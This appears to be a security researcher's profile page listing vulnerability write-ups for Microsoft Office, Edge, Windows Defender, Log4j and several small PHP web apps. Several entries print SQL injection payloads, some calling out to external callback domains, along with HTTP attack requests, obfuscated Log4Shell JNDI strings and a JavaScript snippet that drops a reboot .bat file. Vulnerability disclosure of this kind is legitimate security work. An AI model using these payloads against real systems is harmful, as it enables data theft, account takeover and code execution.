nu11secur1ty (163)

Last Login: August 04, 2022
Assessments
76
Score
163
8th Place

nu11secur1ty's Latest (20) Contributions

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0
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Medium
Difficult to patchGives privileged accessVulnerable in default configurationVulnerable in uncommon configuration
Technical Analysis

CVE-2022-30174

Description:

Microsoft Office Remote Code Execution Vulnerability.
This attack requires a specially crafted file to be placed either in an online directory or in a local network location.
When a victim runs this file, it loads the malicious DLL or EXE file.

WARNING:

Use your Windows Defender turned on and update him regularly!!!

Conclusion:

    • So. I’ve decided to test this stupid and forever stupid thing MS Office 365 which is from 7 maybe 10 years just like that. Some things will never change.

  • Tested on Windows 11.

  • 365 don’t give a f*** what you give him to execute, it depends on the lure…

  • For the usual users: If you don’t have some virus protection software, you are lost…😯 😝 🤫 😛 😎

  • STATUS: Medium vulnerability but it is there! Watch out, dear friends! 😎

Proof and Exploit:

href

0
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Medium
UnauthenticatedVulnerable in default configuration
Technical Analysis

CVE-2022-29110

Description:

The Microsoft 365 version 2204-Build-15128.20178 is vulnerable to RCE.
The malicious attacker can share a malicious .docm file in some of the internal or external networks by using an FTP malicious server and he can infect all computers in this network. The infected user can visit a very dangerous website and when he clicks it he can execute a bunch of javascript malicious codes or can execute a dangerous local code! Also, the malicious author can use a USB flash memory to infect every computer by using Microsoft 365 software.

Known Affected Software

Vendor 	Product 	Version
Microsoft 	Microsoft_Excel	2016 (32-bit edition)
Microsoft 	Microsoft_Excel	2016 (64-bit edition)
Microsoft 	Microsoft_Excel	2013 RT Service Pack 1
Microsoft 	Microsoft_Excel	2013 Service Pack 1 (32-bit editions)
Microsoft 	Microsoft_Excel	2013 Service Pack 1 (64-bit editions)
Microsoft 	Microsoft_Office_Web_Apps	Server 2013 Service Pack 1

Reproduce:

href

Proof and Exploit

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessUnauthenticatedVulnerable in default configuration
Technical Analysis

CVE-NU11-2021-1101

Description:

The OPH – PHP (by: oretnom23 ) v1.0 is vulnerable to remote SQL-Injection-Bypass-Authentication and PHPSESSID Hijacking.
remote SQL-Injection-Bypass-Authentication: https://portswigger.net/support/using-sql-injection-to-bypass-authentication.
The parameter (username) from the login form is not protected correctly and there is no security and escaping from malicious payloads.
When the user will sending a malicious query or malicious payload to the MySQL server for those three accounts, he can bypass the login credentials and take control of these accounts.
Also, the attacker can use PHPSSESSID to steal the session to the admin account. Disaster, online payment system WTF.

Reproduce:

href

Proof

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessUnauthenticatedVulnerable in default configuration
Technical Analysis

CVE-2022-21906

Microsoft

Vendor

Description

Windows Defender Application Control Security Feature Bypass Vulnerability.
The attacker can execute extremely dangerous apps by using different scenarios,
directly from the user profile, without any reaction from the side of the Windows Defender.
Read more: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21906

The latest version of Windows 10 Pro, plus the latest update!

Reproduce:

href

Proof and Exploit

href

BugCheck after the exploit, the reaction of the kernel:

  • BSOD.exe
1: kd> !analyze
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Unknown bugcheck code (c0000022)
Unknown bugcheck description
Arguments:
Arg1: 0000000000000000
Arg2: 0000000000000000
Arg3: 0000000000000000
Arg4: 0000000000000000

Debugging Details:
------------------


ERROR_CODE: (NTSTATUS) 0xc0000022 - {Access Denied}  A process has requested access to an object, but has not been granted those access rights.

BUGCHECK_CODE:  c0000022

BUGCHECK_P1: 0

BUGCHECK_P2: 0

BUGCHECK_P3: 0

BUGCHECK_P4: 0

PROCESS_NAME:  BSOD.exe

SYMBOL_NAME:  nt!PopTransitionSystemPowerStateEx+1217

MODULE_NAME: nt

IMAGE_NAME:  ntkrnlmp.exe

FAILURE_BUCKET_ID:  STATUS_ACCESS_DENIED_nt!PopTransitionSystemPowerStateEx

FAILURE_ID_HASH:  {7fcb0a96-b639-2e09-82d6-2eef48bdcdea}

Followup:     MachineOwner
---------
  • malicious.exe
0: kd> !analyze
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Unknown bugcheck code (c0000022)
Unknown bugcheck description
Arguments:
Arg1: 0000000000000000
Arg2: 0000000000000000
Arg3: 0000000000000000
Arg4: 0000000000000000

Debugging Details:
------------------


ERROR_CODE: (NTSTATUS) 0xc0000022 - {Access Denied}  A process has requested access to an object, but has not been granted those access rights.

BUGCHECK_CODE:  c0000022

BUGCHECK_P1: 0

BUGCHECK_P2: 0

BUGCHECK_P3: 0

BUGCHECK_P4: 0

PROCESS_NAME:  malicious.exe

SYMBOL_NAME:  nt!PopTransitionSystemPowerStateEx+1217

MODULE_NAME: nt

IMAGE_NAME:  ntkrnlmp.exe

FAILURE_BUCKET_ID:  STATUS_ACCESS_DENIED_nt!PopTransitionSystemPowerStateEx

FAILURE_ID_HASH:  {7fcb0a96-b639-2e09-82d6-2eef48bdcdea}

Followup:     MachineOwner
---------

BR

.\nu11secur1ty

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Medium
Difficult to patchGives privileged accessVulnerable in default configurationDifficult to weaponize
Technical Analysis

CVE-2022-21970

Description

Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability.
This vulnerability allows an attacker to execute javascript code on every host without permission, also an attacker can steal local system files, and also he can manipulate the actions against the machine and result in changing internal developer settings in Microsoft Edge.

  • NOTE: In this example, Microsoft Edge executes a malicious script without problems.
    This is just a malicious .bat file that reboots the infected machine, and it’s only for testing!
    The attacker can create a malicious file that can take a privileges escalation, malware, spyware, or kernel exploit file and harm seriously your device!
    Not correctly sanitizing and checking for that what users download on their machines by using a MsEdge!

NOTE after the exploit: A malicious user, or whatever user can execute directly malicious .bat files which are created – generated from this javascript exploit by using MsEdge. 😁
According to Edge, this file is safe to run and open. 😁

FAQ

What is the version information for this release?

Microsoft Edge Version Date Released Based on Chromium Version

97.0.1072.55 | 1/6/2022 | 97.0.4692.71

STATUS:

  • Patched and fixed on!

The next test is checking if this is fully patched! 🤫 😛 😎

Proof and simple browser test MsEdge: Edge is blocking .sys files because they can harm your device:

This proof of concept is shown as to how the MsEdge browser NOT blocking .bat files, and this is a problem.

  • NOTE: A malicious user, or whatever user can execute directly malicious .bat files which are created – generated by using exactly MsEdge and this javascript exploit.

  • This is ridiculous and incorrect sanitizing!😁

  • According to Edge, this file is safe to run and open. 😁

  • Screenshot, example:

In Action:

  1. download the PoC

  2. extracted somewhere

  3. Execute

start msedge C:\Users\user2022\Desktop\ExploitServer\examples\exploit.html

Example from the function():

    $start.onclick = () => {
        const blob = new Blob(['shutdown /r'])
        const fileStream = streamSaver.createWriteStream('pwned.bat', {
          size: blob.size // Makes the percentage visiable in the download
        })

Reproduce:

href

Proof and Exploit:

href

  • BR nu11secur1ty
1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Gives privileged accessVulnerable in default configuration
Technical Analysis

CVE-2021-44655

Software

Vendor

Description:

The bid, c & id parameters from /used_car_showroom/ node app on Online-Pre-owned/Used Car Showroom Management 1.0 system appear to be vulnerable to Multiple time-based blind SQL injection attacks. The payload ‘+(select load_file(’\2z2p3k6kl8xuxf3ykb2dc84ocfi8600orrfi29qy.nu11secur1typenetrationtestingengineer.net\nxj’))+’ was submitted in the bid parameter. This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator account control on this system. Status: CRITICAL

[+] Payloads:

  • Multiple: bit, c & id
---
Parameter: bid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=product_per_brand&bid=7'+(select load_file('\\\\2z2p3k6kl8xuxf3ykb2dc84ocfi8600orrfi29qy.nu11secur1typenetrationtestingengineer.net\\nxj'))+'' AND (SELECT 3670 FROM (SELECT(SLEEP(5)))hxug) AND 'ovPl'='ovPl
---


---
Parameter: c (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=categories&c=2'+(select load_file('\\\\xyzk2f5fk3wpwa2tj618b33jbah35vvjmmadx4lt.nu11secur1typenetrationtestingengineers.net\\thk'))+'' AND (SELECT 4821 FROM (SELECT(SLEEP(3)))DuhP) AND 'vkhG'='vkhG
---


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=view_product&id=3'+(select load_file('\\\\rc7eg9j9yxaja4gnx0f2pxhdp4vxj17sag13srh.nu11secur1typenetrationtestingengineers.net\\deo'))+'' AND (SELECT 8828 FROM (SELECT(SLEEP(3)))VaSc) AND 'gDVf'='gDVf
---

Reproduce:

href

Proof and Exploit:

href

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

Software

More

CVE

Protect yourself, before you break yourself… ;)

Description:

Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Usage and explanation:

  • Demonstration of scanning for Log4j vulnerability

    • NOTE: For advanced users!

  • Manual installing the extension for BurpSuite

IMPORTANT:

  • Check in to BApp Store if all components are deployed!

>>> from log4shell_regexes import *

>>> t = lambda s: [k for k in test(s)]
>>> tt = lambda s: [(k, list(v.keys())) for k, v in test_thorough(s).items()]

>>> t('${ jndi\t: addr\n}')
['SIMPLE_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${ jndi\t: addr\n')
['SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('\044%7B\\44{env:NOTHING:-j}\u0024{lower:N}\\u0024{lower:${upper:d}}}i:addr}')
['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${base64:d2hvIHRob3VnaHQgYW55IG9mIHRoaXMgd2FzIGEgZ29vZCBpZGVhPwo=}')
['ANY_RE', 'ANY_INCL_ESCS_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('%24%7Bjnd%24%7Bupper%3A%C4%B1%7D%3Aaddr%7D')
['NESTED_INCL_ESCS_RE', 'ANY_INCL_ESCS_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('$%7B\u006a\\156di:addr\\x7d')
['ANY_INCL_ESCS_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${jndi:${lower:l}${lower:d}a${lower:p}://$a{upper:d}dr}')
['SIMPLE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${jndi:dns://addr}')
['SIMPLE_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${${base64:am5kaTpsZGFwOi8vYWRkcgo=}}') # LOG4J2-2446
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${jndi:${lower:l}${lower:d}a${lower:p}://addr')
['SIMPLE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${${::-j}nd${upper:ı}:rm${upper:ı}://addr}')
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//addr}')
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('%5Cu002524%257Bjnd%2524%257Bupper%255Cu003a%255C%255C461%257D%253Aldap%253A%5C0452F%252Faddr%257D')
[]

>>> tt('%5Cu002524%257Bjnd%2524%257Bupper%255Cu003a%255C%255C461%257D%253Aldap%253A%5C0452F%252Faddr%257D')
[
	(
		'\\u002524%7Bjnd%24%7Bupper%5Cu003a%5C%5C461%7D%3Aldap%3A\\0452F%2Faddr%7D',
		['NESTED_INCL_ESCS_RE', 'ANY_INCL_ESCS_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
	), (
		'${jnd${upper\\u003a\\\\461}:ldap://addr}',
		['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
	), (
		'${jnd${upper:\\461}:ldap://addr}',
		['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
	), (
		'${jnd${upper:ı}:ldap://addr}',
		['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
	)
]

Docker vulnerable app:

cd vuln_app/CVE-2021-44228-VULN-APP/
docker build -t log4j-shell-poc .
docker run --network host log4j-shell-poc
  • Listening on port 8080

Support for vulnerable machine APP by

  • kozmer

Support for Burp module by

  • silentsignal

Demo, testing, and debugging by

  • nu11secur1ty

Video and reproduce of the vulnerability

  • NOTE: The test is outside of the credentials for login! ;)

href

More

Information

Scanner

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

Online-Enrollment-Management-System

Vendor

Description:

The id parameter from Online Enrollment Management System 1.0 appears to be vulnerable to SQL injection attacks.
The payload (select load_file(’\\5bhtyx01jb7u7d6h2uthd4khq8w1ktch3jrbe12q.nu11secur1typentestingengineer.net\ofp’)) was submitted in the id parameter. This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain.
The application interacted with that domain, indicating that the injected SQL query was executed.
The attacker can retrieve sensitive information for all users of this system.
STATUS: Critical and Awful.

Mysql Request:

POST /onlineenrolmentsystem/menu1.php HTTP/1.1
Host: 192.168.10.73
Origin: http://192.168.10.73
Cookie: PHPSESSID=5hjqmc8ms45586p1rqdv1ld9gd
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://192.168.10.73/onlineenrolmentsystem/index.php?q=department
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 5

id=(select%20load_file('%5c%5c%5c%5c5bhtyx01jb7u7d6h2uthd4khq8w1ktch3jrbe12q.nu11secur1typenetrationtestingengineer.net%5c%5cofp'))

MySQL Response:

HTTP/1.1 200 OK
Date: Fri, 03 Dec 2021 12:11:35 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
X-Powered-By: PHP/7.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 159
Connection: close
Content-Type: text/html; charset=UTF-8


<!-- Projects Row -->
<div class="row">
<div class="col-md-12">
<ul>


</ul>
</div>
</div>
<!-- /.row -->

Reproduce:

href

Proof and Exploit:

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeUnauthenticatedVulnerable in default configuration
Technical Analysis

CVE-2021-41646

Vendor

Description:

Remote Code Execution (RCE) vulnerability exists in Sourcecodester Online Reviewer System 1.0 by uploading a maliciously crafted PHP file that bypasses the image upload filters.
The vulnerable directory can be used by the directory traversal method in the browser from the attacker to retrieve sensitive information or destroy the system by using an RCE method for this action!
Status: CRITICAL

Reproduce:

href

Proof and Exploit

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CVE-2021-42668

Vendor

Description

The id from my_classmates.php in Engineers Online Portal 1.0 parameter appears to be vulnerable to SQL injection and RCE attacks.
The payload ‘+(select load_file(’\\n0o5m5xdxay49mw826umfj1wsnygm9ix90xrkh86.nu11secur1tyPenetrationTestingEngineer.net\sch’))+’ was submitted in the id parameter.
This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain.
The application interacted with that domain, indicating that the injected SQL query was executed.
The attacker can bypass the admin account and he can upload a malicious code by using the avatar vulnerability function with directory traversal method,
then he can execute this malicious code. For this example, the attacker destroys all files in the current directory.
STATUS Hiper Critical and Awful.
CONCLUSION: This pseudo developer must be stopped immediately.

MySQL Request:

GET /nia_munoz_monitoring_system/my_classmates.php?id=189' HTTP/1.1
Host: 192.168.1.2
Cookie: PHPSESSID=k6gnppcljj6b7vs8ua3tdefmkt
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.2/nia_munoz_monitoring_system/dashboard_student.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
Cache-Control: max-age=0

MySQL Response:

HTTP/1.1 200 OK
Date: Fri, 03 Dec 2021 17:54:59 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
X-Powered-By: PHP/7.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 5946
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html class="no-js">
<head>
<title>NIA Project Monitoring System</title>
       <meta name="description" content="Learning Management System">
       <meta name="keywords" conte
...[SNIP]...
<ul     id="da-thumbs" class="da-thumbs">
                                        You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''189'' order by lastname' at line 4

Reproduce:

href

Proof and Exploit:

href

M0r3:

Proof and Explot:

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CVE-2021-37808

Vendor

Description:

The searchtitle parameter from News Portal Project 3.1 appears to be vulnerable to SQL injection attacks.
The payload ‘+(select load_file(’\\wddcdzjvtmxtfkwxdw5gwdmxpovhj99x00osbiz7.nu11secur1tycollaborator.net\lni’))+’ was submitted in the searchtitle parameter.
This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain.
The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can be retrieving sensitive information
for all accounts of this system, and he can manipulate them!
STATUS: Critical and awful.

Reproduce:

href

Proof and Exploit:

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CVE-2021-41492

Software

Description:

The username parameter from Sourcecodester Simple Cashiering System (POS) 1.0 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the username parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. The attacker can retrieve sensitive information from the database for all users, and also administrator account!

MySQL Request:

POST /cashiering/Actions.php?a=login HTTP/1.1
Host: 192.168.10.63
Origin: http://192.168.10.63
Cookie: PHPSESSID=bgtkft2eqoj6s4ajhp414erka3
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://192.168.10.63/cashiering/login.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 37

username=tralala'&password=@32e23eq3r

MySQL Response:

HTTP/1.1 200 OK
Date: Wed, 01 Dec 2021 12:06:18 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
X-Powered-By: PHP/7.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 521
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: &quot;5a72f9fa6edacd9d71b9e2dc9d1a9ecc&quot; in <b>C:\xampp\htdocs\cashiering\Actions.php</b> on line <b>1
...[SNIP]...
<b>Fatal error</b>: Uncaught Error: Call to a member function fetchArray() on bool in C:\xampp\htdocs\cashiering\Actions.php:15
Stack trace:
#0 C:\xampp\htdocs\cashiering\Actions.php(233): Actions-&gt;login()
#1 {main}
thrown in <b>

Reproduce:

href

Proof and explot:

href

BR nu11secur1ty

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CTMS

Vendor

Description:

The parameters username and contactno from COVID 19 Testing Management System (CTMS) 1.0 are vulnerable to Remote Code SQL injection attacks.
Test REQUESTS: Payloads 27325265’ or 8079=8079— and 35638130’ or 9157=9162—.
These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
The attacker can execute a Remote Code Injection to override the current password for the admin account directly from the broadcast networks!
Status Critical and awful.
BR nu11secur1ty

Reproduce:

href

Proof:

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CVE-2021-41648

Vendor

Software

Description:

The p parameter of the PuneethReddyHC online-shopping-system-advanced 1.0 appears to be vulnerable to SQL injection attacks.
The payload (select load_file ('\\\\grb7dmacp8fse7awai6uedfhi8o2cz0q2et1jp8.nu11secur1tycollaborator.net\\mpv')) was submitted in the p parameter.
This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain.
The application interacted with that domain, indicating that the injected SQL query was executed.
The malicious user can attack the database using four SQL injection methods (UNION query, time-based blind, error-based and boolean-based blind),
then he can dump all information from this database of the app, then he can log in to the admin account, and can do malicious stuff.
Conclusion: Status Critical.

Reproduce:

href

Proof and Exploit:

href

Action:

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeVulnerable in default configuration
Technical Analysis

CVE-2021-41675

Vendor

Author and redevelopment of the PoC

  • nu11secur1ty

First cool ;) Idea:

  • Thank you, dear friend!
  • Janik Wehrli

Description:

A Remote Code Execution (RCE) vulnerability exists in Sourcecodester E-Negosyo System 1.0 in /admin/produts/controller.php via the do Insert function, which validates images with getImageSizei… More about the function: https://www.php.net/manual/en/function.getimagesize.php The attacker can deploy malicious RCE files bypassing this function, and after that, he can use the directory traversal method, to navigate to the /uploaded_photos/ directory which is another and actual problem of this system. After the problem, which is – no sanitizing of the function “(getimagesize())” on this system, the attacker can execute the malicious RCE code, and then he can retrieve all sensitive information about the App on this server, and all architecture of this server. CONCLUSION: There is no proper disinfection of “(getimagesize())” function, and correctly protecting the directory /uploaded_photos/.

Reproduce:

href

Proof and exploit:

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Difficult to patchEasy to weaponizeGives privileged accessUnauthenticatedVulnerable in default configurationRequires user interactionVulnerable in uncommon configuration
Technical Analysis

CVE-2021-42671

Vendor

Description:

An RCE vulnerability exists in Engineers Online Portal 1.0 when the malicious user creates an account with a malicious purpose.
When the user is already with the account he can upload a malicious RCE exploit without any problem – no sanitizing.
After uploading this RCE malicious file, he can navigate by using the directory traversal method, which is another problem of this system, then he can execute the malicious code. Conclusion: Status awful and critical.

Reproduce:

href

Proof and exploit:

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CVE-2021-43141

Vendor

Description:

Cross-Site Scripting (XSS) vulnerability exists in Sourcecodester Simple Subscription Website 1.0 via the id parameter in plan_application and users_application.
The attacker can use SQL – Injection bypass Authentication method to log in to the admin account of the system and then he can exploit this account by using XSS-Stored to attack and exploit the account, and then he can use remote requests to hijack PHPSESSID and can exploit this account and users into it by using an XSS-Stored method!
Conclusion: The status of this system is CRITICAL and awful, and this must be stopped immediately for distribution!

Action:

Reproduce:

href

Proof and exploit:

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CVE-nu11-20-100121

CVE-2021-41931

Description of vulnerability:

The Company’s Recruitment Management System (by: oretnom23) in id=2 of the parameter from view_vacancy app on-page appears to be vulnerable to SQL Injection – Stealing the Password Hashes attacks.
The payloads 19424269’ or ‘1309’=‘1309 and 39476597’ or ‘2917’=‘2923 were each submitted in the id parameter.
These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Description of the exploit:

Exploit Title: Recruitment Management System is vulnerable to MyQSL injection - Stealing the Password Hashes attacks.
Date: 2021-10-01
Exploit Author: nu11secur1ty
Vendor Homepage: https://www.sourcecodester.com/user/257130/activity
Software Link: https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html
Version: (by: oretnom23) dev
  • MySQL Request:
GET /employment_application/?page=view_vacancy&id=219424269'%20or%20'1309'%3d'1309 HTTP/1.1
Host: 192.168.1.180
Cookie: PHPSESSID=oku6deve0oo3qbrbbprp5jnb6j
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.180/employment_application/?page=vacancy
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
  • MySQL Respond
HTTP/1.1 200 OK
Date: Fri, 01 Oct 2021 09:37:56 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12044

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1
...[SNIP]...
<h5 class="card-title fw-bold wow">Sample Vacancy 101</h5>
...[SNIP]...
<div class="fs-5 ps-4">IT Depatment</div>
...[SNIP]...
